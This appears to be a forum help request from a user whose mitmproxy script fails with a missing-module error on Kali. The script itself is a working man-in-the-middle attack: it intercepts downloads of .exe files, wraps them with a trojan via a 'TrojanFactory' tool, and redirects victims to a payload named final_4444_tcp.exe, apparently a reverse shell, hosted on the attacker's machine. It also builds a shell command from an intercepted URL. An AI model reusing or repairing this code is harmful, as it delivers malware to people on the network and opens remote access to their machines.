I’ve got a problem executing a mitmproxy script using mitmdump. I get a “no module called mitmproxy” error, but mitmproxy is installed. I did pip install mitmproxy but it’s already satisfied:
Requirement already satisfied: six in /usr/lib/python2.7/dist-packages (from singledispatch->tornado>=4.0.2->mitmproxy) (1.14.0)
I tried with apt-get install but Kali tells me I’ve got the newest version:
mitmproxy is already the newest version (6.0.2-1).
Weird is that the script worked before but now I’m dealing with this issue.
My script looks like this:
import mitmproxy
import subprocess
def request(flow):
#code to handle request flows
if flow.request.host != "10.0.2.4" and flow.request.pretty_url.endswith(".exe"):
print("[+] Got interesting flow")
front_file = flow.request.pretty_url + "#"
subprocess.call("python /opt/TrojanFactory/trojan_factory.py -f '" + front_file + "' -e http://10.0.2.4/evil-files/final_4444_tcp.exe# -o /var/www/html/evil-files/file.exe -i /root/Downloads/WinZip.ico", shell=True)
flow.response = mitmproxy.http.HTTPResponse.make(301, "", {"Location": "http://10.0.2.4/evil-files/final_4444_tcp.exe"})
Can anyone help me out with this?